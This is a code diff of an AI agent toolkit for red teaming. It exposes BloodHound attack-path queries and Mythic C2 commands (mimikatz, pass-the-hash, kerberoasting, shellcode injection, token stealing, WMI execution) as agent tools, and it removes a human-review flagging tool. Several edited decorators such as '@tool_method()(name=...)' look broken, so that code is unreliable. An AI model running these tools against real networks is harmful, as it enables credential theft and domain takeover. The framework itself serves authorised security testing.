-372,7 +371,7 @@ async def find_shortest_paths_to_domain_admins(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_paths_from_owned_objects(self): query = """ MATCH p=shortestPath((s:Base)-[r*1..]->(t:Base)) @@ -383,7 +382,7 @@ async def find_paths_from_owned_objects(self): return await self.query_bloodhound(query) # Active Directory Certificate Services - @tool_method + @tool_method() async def find_pki_hierarchy(self): query = """ MATCH p=()-[:HostsCAService|IssuedSignedBy|EnterpriseCAFor|RootCAFor|TrustedForNTAuth|NTAuthStoreFor*..]->(:Domain) @@ -392,7 +391,7 @@ async def find_pki_hierarchy(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_public_key_services(self): query = """ MATCH p = (c:Container)-[:Contains*..]->(:Base) @@ -402,7 +401,7 @@ async def find_public_key_services(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_certificate_enrollment_rights(self): query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) @@ -411,7 +410,7 @@ async def find_certificate_enrollment_rights(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_esc1_vulnerable_templates(self): query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) @@ -424,7 +423,7 @@ async def find_esc1_vulnerable_templates(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_esc2_vulnerable_templates(self): query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(c:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) @@ -436,7 +435,7 @@ async def find_esc2_vulnerable_templates(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_enrollment_agent_templates(self): query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) @@ -448,7 +447,7 @@ async def find_enrollment_agent_templates(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_dcs_weak_certificate_binding(self): query = """ MATCH p = (s:Computer)-[:DCFor]->(:Domain) @@ -458,7 +457,7 @@ async def find_dcs_weak_certificate_binding(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_inactive_tier_zero_principals(self): query = """ WITH 60 as inactive_days @@ -475,7 +474,7 @@ async def find_inactive_tier_zero_principals(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_tier_zero_without_smartcard(self): query = """ MATCH (u:User) @@ -489,7 +488,7 @@ async def find_tier_zero_without_smartcard(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domains_with_machine_quota(self): query = """ MATCH (d:Domain) @@ -498,7 +497,7 @@ async def find_domains_with_machine_quota(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_smartcard_dont_expire_domains(self): query = """ MATCH (s:Domain)-[:Contains*1..]->(t:Base) @@ -509,7 +508,7 @@ async def find_smartcard_dont_expire_domains(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_two_way_forest_trust_delegation(self): query = """ MATCH p=(n:Domain)-[r:TrustedBy]->(m:Domain) @@ -520,7 +519,7 @@ async def find_two_way_forest_trust_delegation(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_unsupported_operating_systems(self): query = """ MATCH (c:Computer) @@ -530,7 +529,7 @@ async def find_unsupported_operating_systems(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_users_with_no_password_required(self): query = """ MATCH (u:User) @@ -540,7 +539,7 @@ async def find_users_with_no_password_required(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_users_password_not_rotated(self): query = """ WITH 365 as days_since_change @@ -552,7 +551,7 @@ async def find_users_password_not_rotated(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_nested_tier_zero_groups(self): query = """ MATCH p=(t:Group)<-[:MemberOf*..]-(s:Group) @@ -564,7 +563,7 @@ async def find_nested_tier_zero_groups(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_disabled_tier_zero_principals(self): query = """ MATCH (n:Base) @@ -577,7 +576,7 @@ async def find_disabled_tier_zero_principals(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_principals_reversible_encryption(self): query = """ MATCH (n:Base) @@ -586,7 +585,7 @@ async def find_principals_reversible_encryption(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_principals_des_only_kerberos(self): query = """ MATCH (n:Base) @@ -596,7 +595,7 @@ async def find_principals_des_only_kerberos(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_principals_weak_kerberos_encryption(self): query = """ MATCH (u:Base) @@ -607,7 +606,7 @@ async def find_principals_weak_kerberos_encryption(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_tier_zero_non_expiring_passwords(self): query = """ MATCH (u:User) @@ -620,7 +619,7 @@ async def find_tier_zero_non_expiring_passwords(self): return await self.query_bloodhound(query) # NTLM Relay Attacks - @tool_method + @tool_method() async def find_ntlm_relay_edges(self): query = """ MATCH p = (n:Base)-[:CoerceAndRelayNTLMToLDAP|CoerceAndRelayNTLMToLDAPS|CoerceAndRelayNTLMToADCS|CoerceAndRelayNTLMToSMB]->(:Base) @@ -628,7 +627,7 @@ async def find_ntlm_relay_edges(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_esc8_vulnerable_cas(self): query = """ MATCH (n:EnterpriseCA) @@ -637,7 +636,7 @@ async def find_esc8_vulnerable_cas(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_computers_outbound_ntlm_deny(self): query = """ MATCH (c:Computer) @@ -646,7 +645,7 @@ async def find_computers_outbound_ntlm_deny(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_computers_in_protected_users(self): query = """ MATCH p = (:Base)-[:MemberOf*1..]->(g:Group) @@ -655,7 +654,7 @@ async def find_computers_in_protected_users(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_dcs_vulnerable_ntlm_relay(self): query = """ MATCH p = (dc:Computer)-[:DCFor]->(:Domain) @@ -666,7 +665,7 @@ async def find_dcs_vulnerable_ntlm_relay(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_computers_webclient_running(self): query = """ MATCH (c:Computer) @@ -675,7 +674,7 @@ async def find_computers_webclient_running(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_computers_no_smb_signing(self): query = """ MATCH (n:Computer) @@ -685,7 +684,7 @@ async def find_computers_no_smb_signing(self): return await self.query_bloodhound(query) # Azure - General - @tool_method + @tool_method() async def find_global_administrators(self): query = """ MATCH p = (:AZBase)-[:AZGlobalAdmin*1..]->(:AZTenant) @@ -694,7 +693,7 @@ async def find_global_administrators(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_high_privileged_role_members(self): query = """ MATCH p=(t:AZRole)<-[:AZHasRole|AZMemberOf*1..2]-(:AZBase) @@ -705,7 +704,7 @@ async def find_high_privileged_role_members(self): return await self.query_bloodhound(query) # Azure - Shortest Paths - @tool_method + @tool_method() async def find_paths_from_entra_to_tier_zero(self): query = """ MATCH p=shortestPath((s:AZUser)-[r*1..]->(t:AZBase)) @@ -715,7 +714,7 @@ async def find_paths_from_entra_to_tier_zero(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_paths_to_privileged_roles(self): query = """ MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZRole)) @@ -725,7 +724,7 @@ async def find_paths_to_privileged_roles(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_paths_from_azure_apps_to_tier_zero(self): query = """ MATCH p=shortestPath((s:AZApp)-[r*1..]->(t:AZBase)) @@ -735,7 +734,7 @@ async def find_paths_from_azure_apps_to_tier_zero(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_paths_to_azure_subscriptions(self): query = """ MATCH p=shortestPath((s:AZBase)-[r*1..]->(t:AZSubscription)) @@ -746,7 +745,7 @@ async def find_paths_to_azure_subscriptions(self): return await self.query_bloodhound(query) # Azure - Microsoft Graph - @tool_method(name="sp_app_role_grant") + @tool_method()(name="sp_app_role_grant") async def find_service_principals_with_app_role_grant(self): query = """ MATCH p=(:AZServicePrincipal)-[:AZMGGrantAppRoles]->(:AZTenant) @@ -755,7 +754,7 @@ async def find_service_principals_with_app_role_grant(self): """ return await self.query_bloodhound(query) - @tool_method(name="find_sp_graph_assignments") + @tool_method()(name="find_sp_graph_assignments") async def find_service_principals_with_graph_assignments(self): query = """ MATCH p=(:AZServicePrincipal)-[:AZMGAppRoleAssignment_ReadWrite_All|AZMGApplication_ReadWrite_All|AZMGDirectory_ReadWrite_All|AZMGGroupMember_ReadWrite_All|AZMGGroup_ReadWrite_All|AZMGRoleManagement_ReadWrite_Directory|AZMGServicePrincipalEndpoint_ReadWrite_All]->(:AZServicePrincipal) @@ -765,7 +764,7 @@ async def find_service_principals_with_graph_assignments(self): return await self.query_bloodhound(query) # Azure - Hygiene - @tool_method + @tool_method() async def find_foreign_tier_zero_principals(self): query = """ MATCH (n:AZServicePrincipal) @@ -777,7 +776,7 @@ async def find_foreign_tier_zero_principals(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_synced_tier_zero_principals(self): query = """ MATCH (ENTRA:AZBase) @@ -790,7 +789,7 @@ async def find_synced_tier_zero_principals(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_external_tier_zero_users(self): query = """ MATCH (n:AZUser) @@ -801,7 +800,7 @@ async def find_external_tier_zero_users(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_disabled_azure_tier_zero_principals(self): query = """ MATCH (n:AZBase) @@ -812,7 +811,7 @@ async def find_disabled_azure_tier_zero_principals(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_devices_unsupported_os(self): query = """ MATCH (n:AZDevice) @@ -824,7 +823,7 @@ async def find_devices_unsupported_os(self): return await self.query_bloodhound(query) # Azure - Cross Platform Attack Paths - @tool_method + @tool_method() async def find_entra_users_in_domain_admins(self): query = """ MATCH p = (:AZUser)-[:SyncedToADUser]->(:User)-[:MemberOf]->(t:Group) @@ -834,7 +833,7 @@ async def find_entra_users_in_domain_admins(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_onprem_users_owning_entra_objects(self): query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwns]->(:AZBase) @@ -843,7 +842,7 @@ async def find_onprem_users_owning_entra_objects(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_onprem_users_in_entra_groups(self): query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup) @@ -852,7 +851,7 @@ async def find_onprem_users_in_entra_groups(self): """ return await self.query_bloodhound(query) - @tool_method(name="templates_no_security_ext") + @tool_method()(name="templates_no_security_ext") async def find_templates_no_security_extension(self): query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA) @@ -862,7 +861,7 @@ async def find_templates_no_security_extension(self): """ return await self.query_bloodhound(query) - @tool_method(name="templates_with_user_san") + @tool_method()(name="templates_with_user_san") async def find_templates_with_user_specified_san(self): query = """ MATCH p = (:Base)-[:Enroll|GenericAll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(eca:EnterpriseCA) @@ -872,7 +871,7 @@ async def find_templates_with_user_specified_san(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_ca_administrators(self): query = """ MATCH p = (:Base)-[:ManageCertificates|ManageCA]->(:EnterpriseCA) @@ -881,7 +880,7 @@ async def find_ca_administrators(self): """ return await self.query_bloodhound(query) - @tool_method(name="onprem_users_direct_entra_roles") + @tool_method()(name="onprem_users_direct_entra_roles") async def find_onprem_users_with_direct_entra_roles(self): query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZHasRole]->(:AZRole) @@ -890,7 +889,7 @@ async def find_onprem_users_with_direct_entra_roles(self): """ return await self.query_bloodhound(query) - @tool_method(name="onprem_users_group_entra_roles") + @tool_method()(name="onprem_users_group_entra_roles") async def find_onprem_users_with_group_entra_roles(self): query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZHasRole]->(:AZRole) @@ -899,7 +898,7 @@ async def find_onprem_users_with_group_entra_roles(self): """ return await self.query_bloodhound(query) - @tool_method(name="onprem_users_direct_azure_roles") + @tool_method()(name="onprem_users_direct_azure_roles") async def find_onprem_users_with_direct_azure_roles(self): query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) @@ -908,7 +907,7 @@ async def find_onprem_users_with_direct_azure_roles(self): """ return await self.query_bloodhound(query) - @tool_method(name="onprem_users_group_azure_roles") + @tool_method()(name="onprem_users_group_azure_roles") async def find_onprem_users_with_group_azure_roles(self): query = """ MATCH p = (:User)-[:SyncedToEntraUser]->(:AZUser)-[:AZMemberOf]->(:AZGroup)-[:AZOwner|AZUserAccessAdministrator|AZGetCertificates|AZGetKeys|AZGetSecrets|AZAvereContributor|AZKeyVaultContributor|AZContributor|AZVMAdminLogin|AZVMContributor|AZAKSContributor|AZAutomationContributor|AZLogicAppContributor|AZWebsiteContributor]->(:AZBase) @@ -917,7 +916,7 @@ async def find_onprem_users_with_group_azure_roles(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_paths_user_to_user( self, source_user: str, target_user: str, domain: str ) -> dict: @@ -930,7 +929,7 @@ async def find_paths_user_to_user( """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def upload_collection_zip(self, filename: str) -> dict: """Upload a Bloodhound collection zip file (that was collected via the SharpHound tool.)""" @@ -1093,4 +1092,4 @@ def _rich_print(self, text: str): title="[red]Bloodhound", style="red", ) - ) \ No newline at end of file + ) diff --git a/dreadnode/agent/tools/filesystem/tool.py b/dreadnode/agent/tools/filesystem/tool.py index 1b32e002..a4fed5cc 100644 --- a/dreadnode/agent/tools/filesystem/tool.py +++ b/dreadnode/agent/tools/filesystem/tool.py @@ -118,7 +118,7 @@ def _relative(self, path: UPath) -> str: full_path = str(path.resolve()) return full_path[len(base_path) :] - @tool_method + @tool_method() def read_file( self, path: t.Annotated[str, "Path to the file to read"], @@ -135,7 +135,7 @@ def read_file( except UnicodeDecodeError: return rg.ContentImageUrl.from_file(path) - @tool_method + @tool_method() def read_lines( self, path: t.Annotated[str, "Path to the file to read"], @@ -169,7 +169,7 @@ def read_lines( return "\n".join(lines[start_line:end_line]) - @tool_method + @tool_method() def ls( self, path: t.Annotated[str, "Directory path to list"] = "", @@ -189,7 +189,7 @@ def ls( items = list(_path.iterdir()) return [FilesystemItem.from_path(item, self.path) for item in items] - @tool_method + @tool_method() def glob( self, pattern: t.Annotated[str, "Glob pattern for file matching"], @@ -207,7 +207,7 @@ def glob( return [FilesystemItem.from_path(match, self.path) for match in matches] - @tool_method + @tool_method() def grep( self, pattern: t.Annotated[str, "Regular expression pattern to search for"], @@ -278,7 +278,7 @@ def grep( return matches - @tool_method + @tool_method() def write_file( self, path: t.Annotated[str, "Path to write the file to"], @@ -297,7 +297,7 @@ def write_file( return FilesystemItem.from_path(_path, self.path) - @tool_method + @tool_method() def write_lines( self, path: t.Annotated[str, "Path to write to"], @@ -345,7 +345,7 @@ def write_lines( return FilesystemItem.from_path(_path, self.path) - @tool_method + @tool_method() def mkdir( self, path: t.Annotated[str, "Directory path to create"], @@ -362,7 +362,7 @@ def mkdir( return FilesystemItem.from_path(dir_path, self.path) - @tool_method + @tool_method() def mv( self, src: t.Annotated[str, "Source path"], @@ -387,7 +387,7 @@ def mv( return FilesystemItem.from_path(dest_path, self.path) - @tool_method + @tool_method() def cp( self, src: t.Annotated[str, "Source file"], @@ -416,7 +416,7 @@ def cp( return FilesystemItem.from_path(dest_path, self.path) - @tool_method + @tool_method() def delete( self, path: t.Annotated[str, "File or directory"], @@ -437,4 +437,4 @@ def delete( else: _path.unlink() - return True \ No newline at end of file + return True diff --git a/dreadnode/agent/tools/highlight.py b/dreadnode/agent/tools/highlight.py deleted file mode 100644 index 689a0a0b..00000000 --- a/dreadnode/agent/tools/highlight.py +++ /dev/null @@ -1,35 +0,0 @@ -from loguru import logger - -from dreadnode import log_metric, log_output, tag -from dreadnode.agent.tools.base import tool -from dreadnode.data_types import Markdown - - -@tool -async def highlight_for_review(title: str, interest_level: str, justification: str) -> str: - """ - Flags a potential area of interest for a human operator to review. - - This is your primary tool for surfacing leads. Use it when you discover something - anomalous, high-value, or potentially vulnerable that warrants human attention. - - `interest_level` should be one of: - - "high": Urgent. Potential for immediate impact (e.g., exposed login, sensitive keywords). - - "medium": Interesting. Warrants follow-up (e.g., dev subdomain, unusual tech stack). - - "low": Informational. Good context but not an immediate priority (e.g., interesting directory found). - - `justification` should be a structured technical markdown explanation of *why* this is - interesting and what the potential next steps for a human could be. - """ - - interest_level = interest_level.lower().strip() - if interest_level not in ["high", "medium", "low"]: - interest_level = "medium" # Default to medium if invalid - - logger.success(f"Area of Interest - '{title}' [{interest_level}]:\n{justification}\n---") - - tag(f"interest/{interest_level}") - log_output("markdown", Markdown(f"# {title} ({interest_level})\n\n{justification}")) - log_metric("count", 1, mode="count") - - return "Area of interest has been highlighted for human review. Continue analysis." diff --git a/dreadnode/agent/tools/ilspy/tool.py b/dreadnode/agent/tools/ilspy/tool.py index ad110bf0..dbcec2ea 100644 --- a/dreadnode/agent/tools/ilspy/tool.py +++ b/dreadnode/agent/tools/ilspy/tool.py @@ -31,6 +31,9 @@ from ICSharpCode.Decompiler.Metadata import ( # type: ignore [import-not-found] # noqa: E402 MetadataTokenHelpers, ) +from ICSharpCode.Decompiler.TypeSystem import ( + FullTypeName, # type: ignore [import-not-found] +) from Mono.Cecil import AssemblyDefinition # type: ignore [import-not-found] # noqa: E402 # Helpers @@ -105,13 +108,13 @@ def _extract_unique_call_paths( class ILSpyTool(Toolset): - base_path: Path + base_path: Path | str binaries: list[str] @classmethod def from_path( cls, - path: Path | str, + path: str, pattern: str = "**/*", exclude: list[str] = DEFAULT_EXCLUDE, ) -> "ILSpyTool": @@ -147,7 +150,15 @@ def _resolve_path(self, path: str) -> str: return str(full_path) @tool_method() - def decompile_module(self, path: t.Annotated[str | None, "The binary file path"]) -> str: + def list_binaries(self) -> list[str]: + """ + List all available binaries in the toolset. + """ + logger.info("list_binaries()") + return self.binaries + + @tool_method() + def decompile_module(self, path: t.Annotated[str, "The binary file path"]) -> str: """ Decompile the entire module and return the decompiled code as a string. """ @@ -161,12 +172,10 @@ def decompile_type( path: t.Annotated[str, "The binary file path"], type_name: t.Annotated[str, "The specific type to decompile"], ) -> str: - """ - Decompile a specific type and return the decompiled code as a string. - """ logger.info(f"decompile_type({path}, {type_name})") path = self._resolve_path(path) - return _get_decompiler(path).DecompileTypeAsString(type_name) # type: ignore [no-any-return] + # construct the FullTypeName from your string + return _get_decompiler(path).DecompileTypeAsString(FullTypeName(type_name)) # type: ignore[no-any-return] @tool_method() def decompile_methods( diff --git a/dreadnode/agent/tools/jupyter/tool.py b/dreadnode/agent/tools/jupyter/tool.py index f69a9dce..7e5249c2 100644 --- a/dreadnode/agent/tools/jupyter/tool.py +++ b/dreadnode/agent/tools/jupyter/tool.py @@ -575,6 +575,7 @@ async def execute( # noqa: PLR0912, PLR0915 case _: return execution + @tool_method() async def execute_cell(self, cell: NotebookCell) -> NotebookCell: """Execute a notebook cell.""" cell = cell.model_copy(deep=True) @@ -589,7 +590,7 @@ async def execute_cell(self, cell: NotebookCell) -> NotebookCell: return cell - @tool_method + @tool_method() async def execute_notebook( self, notebook: Notebook, @@ -622,7 +623,7 @@ async def execute_notebook( return notebook - @tool_method + @tool_method() async def execute_code(self, code: str) -> str: """ Execute Python code in the jupyter kernel and return the output. @@ -669,7 +670,7 @@ async def interrupt(self) -> None: logger.debug(f"Kernel {self._kernel_id} interrupted") - @tool_method + @tool_method() async def restart(self) -> None: """Restart the kernel.""" if not self._kernel_id: @@ -684,4 +685,4 @@ async def restart(self) -> None: ): response.raise_for_status() - logger.debug(f"Kernel {self._kernel_id} restarted") \ No newline at end of file + logger.debug(f"Kernel {self._kernel_id} restarted") diff --git a/dreadnode/agent/tools/mythic/apollo/tool.py b/dreadnode/agent/tools/mythic/apollo/tool.py index 79bfffea..9ac90ae2 100644 --- a/dreadnode/agent/tools/mythic/apollo/tool.py +++ b/dreadnode/agent/tools/mythic/apollo/tool.py @@ -7,10 +7,10 @@ import aiofiles import rich from loguru import logger +from mythic import mythic # type: ignore from rich.panel import Panel from dreadnode.agent.tools import Toolset, tool_method -from mythic import mythic # type: ignore MAX_ACTOR_PAYLOAD_SIZE = 1 * 1024 * 1024 @@ -113,7 +113,7 @@ async def cat( args=path, ) - @tool_method + @tool_method() async def cd(self, path: t.Annotated[str, "The path to change into."]) -> str: """ Change directory to [path]. Path relative identifiers such as ../ are accepted. The path can be absolute or relative. If the path is relative, it will be resolved against the current working directory of the agent. @@ -128,7 +128,7 @@ async def cd(self, path: t.Annotated[str, "The path to change into."]) -> str: args=path, ) - @tool_method + @tool_method() async def cp( self, source: t.Annotated[str, "The path to the source file on the target system to copy."], @@ -155,7 +155,7 @@ async def cp( ], ) - @tool_method + @tool_method() async def download( self, path: t.Annotated[str, "The full path of the file on the target system to download."], @@ -172,7 +172,7 @@ async def download( args=path, ) - @tool_method + @tool_method() async def getprivs(self) -> str: """ Attempt to enable all possible privileges for the agent's current access token. This may include privileges like SeDebugPrivilege, SeImpersonatePrivilege, etc. @@ -182,7 +182,7 @@ async def getprivs(self) -> str: args="", ) - @tool_method + @tool_method() async def ifconfig(self) -> str: """ List the network interfaces and their configuration details on the target system. This includes IP addresses, subnet masks, and other relevant information. @@ -192,7 +192,7 @@ async def ifconfig(self) -> str: args="", ) - @tool_method + @tool_method() async def jobkill( self, jid: t.Annotated[int, "The job identifier of the background job to terminate."], @@ -210,7 +210,7 @@ async def jobkill( args=jid, ) - @tool_method + @tool_method() async def jobs(self) -> str: """ Get all currently active background jobs being managed by the agent. @@ -229,7 +229,7 @@ async def jobs(self) -> str: args="", ) - @tool_method + @tool_method() async def ls( self, path: t.Annotated[ @@ -248,7 +248,7 @@ async def ls( args=path, ) - @tool_method + @tool_method() async def make_token( self, username: t.Annotated[str, "The username to use for the new logon session."], @@ -271,7 +271,7 @@ async def make_token( args={"username": username, "password": password, "netOnly": str(netonly)}, ) - @tool_method + @tool_method() async def mimikatz( self, commands: t.Annotated[ @@ -298,7 +298,7 @@ async def mimikatz( args=commands, ) - @tool_method( + @tool_method()( name="net_dclist", description="Enumerate Domain Controllers for the specified domain (or the current domain).", ) @@ -316,7 +316,7 @@ async def net_dclist( args=domain, ) - @tool_method + @tool_method() async def net_localgroup( self, computer: t.Annotated[ @@ -336,7 +336,7 @@ async def net_localgroup( args=computer or "", ) - @tool_method + @tool_method() async def net_localgroup_member( self, group: t.Annotated[str, "The name of the local group to list members for."], @@ -358,7 +358,7 @@ async def net_localgroup_member( args=f"-group {group} -computer {computer} " if computer else f"-group {group}", ) - @tool_method + @tool_method() async def net_shares( self, computer: t.Annotated[ @@ -379,12 +379,12 @@ async def net_shares( args=computer, ) - @tool_method + @tool_method() async def netstat(self) -> str: """Display active TCP/UDP connections and listening ports on the target system. This includes information about the local and remote addresses, port numbers, and connection states.""" return await self.execute(command="netstat", args="") - @tool_method + @tool_method() async def powerpick( self, arguments: t.Annotated[ @@ -399,7 +399,7 @@ async def powerpick( """ return await self.execute(command="powerpick", args=arguments) - @tool_method + @tool_method() async def powershell_import( self, filename: t.Annotated[ @@ -415,7 +415,7 @@ async def powershell_import( command="powershell_import", args={"existingFile": filename}, timeout=60 ) - @tool_method + @tool_method() async def powershell_script( self, filename: t.Annotated[str, "File name of powershell script."], @@ -449,7 +449,7 @@ async def powershell_script( return await self.powerpick(command=entry_function) - @tool_method + @tool_method() async def powerview( self, command: t.Annotated[ @@ -489,7 +489,7 @@ async def powerview( return await self.powerpick(command=powerview_cmd) - @tool_method + @tool_method() async def pth( self, domain: t.Annotated[ @@ -519,7 +519,7 @@ async def pth( ], ) - @tool_method + @tool_method() async def ps( self, args: t.Annotated[str, "arguments for the 'ps' command, encoded in a string"], @@ -530,7 +530,7 @@ async def ps( args=args, ) - @tool_method + @tool_method() async def pwd(self) -> str: """Print the agent's current working directory on the target system. This is the directory where the agent is currently operating.""" return await self.execute( @@ -538,7 +538,7 @@ async def pwd(self) -> str: args="", ) - @tool_method + @tool_method() async def reg_query( self, key: t.Annotated[ @@ -556,7 +556,7 @@ async def reg_query( args=key, ) - @tool_method + @tool_method() async def register_assembly( self, filename: t.Annotated[str, "Assembly file to register to the Apollo agent"], @@ -570,7 +570,7 @@ async def register_assembly( fix_dependencies=False, ) - @tool_method + @tool_method() async def rev2self(self) -> str: """ Revert the agent's impersonation state, returning to its original primary token. This is useful for restoring the agent's original security context after performing actions with a different token. @@ -582,7 +582,7 @@ async def rev2self(self) -> str: args="", ) - @tool_method + @tool_method() async def rubeus_asreproast(self) -> str: """ Execute ASREP-Roast technique against current domain using the Rubeus tool. The technique extracts kerberos ticket-granting tickets for active directory users that dont require pre-authentication on the domain. If ticket-granting tickets can be obtained, they will be returned (in hash form) @@ -591,7 +591,7 @@ async def rubeus_asreproast(self) -> str: command="execute_assembly", args="Rubeus.exe asreproast /format:hashcat" ) - @tool_method + @tool_method() async def rubeus_kerberoast( self, cred_user: t.Annotated[ @@ -615,12 +615,12 @@ async def rubeus_kerberoast( return await self.execute(command="execute_assembly", args=args) - @tool_method + @tool_method() async def seatbelt(self) -> str: """Performs a number of security oriented host-survey 'safety checks' relevant from both offensive and defensive security perspectives.""" return await self.execute(command="execute_assembly", args="Seatbelt.exe") - @tool_method + @tool_method() async def set_injection_technique( self, technique: t.Annotated[ @@ -639,7 +639,7 @@ async def set_injection_technique( args=technique, ) - @tool_method + @tool_method() async def setspn(self, args: t.Annotated[str, "Command line arguments for setspn tool"]) -> str: """ Allows for reading, modifying, and detelting the Service Principal Names (SPN) directory property for an Active Directory (AD) account. You can use setspn to view the current SPNs for an account, reset the account's default SPNs, and add or delete supplemental SPNs. @@ -648,7 +648,7 @@ async def setspn(self, args: t.Annotated[str, "Command line arguments for setspn """ return await self.powerpick(arguments=f"($sspn = setspn {args}); echo $sspn") - @tool_method + @tool_method() async def sharphound_and_download( self, domain: t.Annotated[str, "domain to enumerate."], @@ -712,7 +712,7 @@ async def sharphound_and_download( return local_download_file - @tool_method + @tool_method() async def sharpview( self, method: t.Annotated[str, "SharpView method to execute"], @@ -852,7 +852,7 @@ async def sharpview( """ return await self.powerpick(f"Invoke-SharpView -Method {method} -Arguments {method_args}") - @tool_method + @tool_method() async def shinject(self) -> str: """ Inject raw shellcode into a remote process. This allows for executing arbitrary code in the context of another process. @@ -865,7 +865,7 @@ async def shinject(self) -> str: args="", ) - @tool_method + @tool_method() async def spawn(self) -> str: """Spawn a new agent session using the currently configured 'spawnto' executable and payload template (must be shellcode).""" @@ -874,7 +874,7 @@ async def spawn(self) -> str: args="", ) - @tool_method + @tool_method() async def spawnto_x64( self, path: t.Annotated[ @@ -897,7 +897,7 @@ async def spawnto_x64( args=[path, args] if args else [path], ) - @tool_method + @tool_method() async def steal_token( self, pid: t.Annotated[ @@ -916,7 +916,7 @@ async def steal_token( args=pid, ) - @tool_method + @tool_method() async def unlink(self) -> str: """ Disconnect a specific callback communication channel (e.g., an SMB or TCP P2P link). This allows for terminating the connection to a specific channel without affecting other channels. @@ -929,7 +929,7 @@ async def unlink(self) -> str: args="", ) - @tool_method + @tool_method() async def upload( self, path: t.Annotated[str, "Local path of the file to upload"], @@ -948,7 +948,7 @@ async def upload( args={"Path": path, "Destination": destination}, ) - @tool_method + @tool_method() async def whoami(self) -> str: """Display the username associated with the agent's current security context (impersonated token or primary token). This includes information about the user and their privileges.""" return await self.execute( @@ -956,7 +956,7 @@ async def whoami(self) -> str: args="", ) - @tool_method + @tool_method() async def wmiexecute( self, arguments: t.Annotated[str, "The command or script block to execute on the remote system."], @@ -1014,4 +1014,4 @@ async def _delete_local_file_and_dir(self, filename: str) -> None: def _rich_print(self, s: str) -> str: """utility for rich printing logs""" - return rich.print(Panel(f"[white]{s}", title="[red1]Mythic", style="red1")) \ No newline at end of file + return rich.print(Panel(f"[white]{s}", title="[red1]Mythic", style="red1")) diff --git a/dreadnode/agent/tools/pentest/internal/tool.py b/dreadnode/agent/tools/pentest/internal/tool.py index cbe666ad..ff9824e0 100644 --- a/dreadnode/agent/tools/pentest/internal/tool.py +++ b/dreadnode/agent/tools/pentest/internal/tool.py @@ -1,10 +1,15 @@ +import os import subprocess import tempfile import time +from pathlib import Path from loguru import logger +from dreadnode.agent.tools import tool + +@tool() def nmap_scan(target: str) -> str: """ Scans target IPs to classify them as Domain Controllers or Member Servers. @@ -40,6 +45,7 @@ def nmap_scan(target: str) -> str: return f"Scan failed: {e!s}" +@tool() def enumerate_users_netexec(target: str, username: str, password: str, domain: str) -> str: """ Enumerate users using netexec (crackmapexec successor). @@ -86,6 +92,7 @@ def enumerate_users_netexec(target: str, username: str, password: str, domain: s return result.stdout +@tool() def 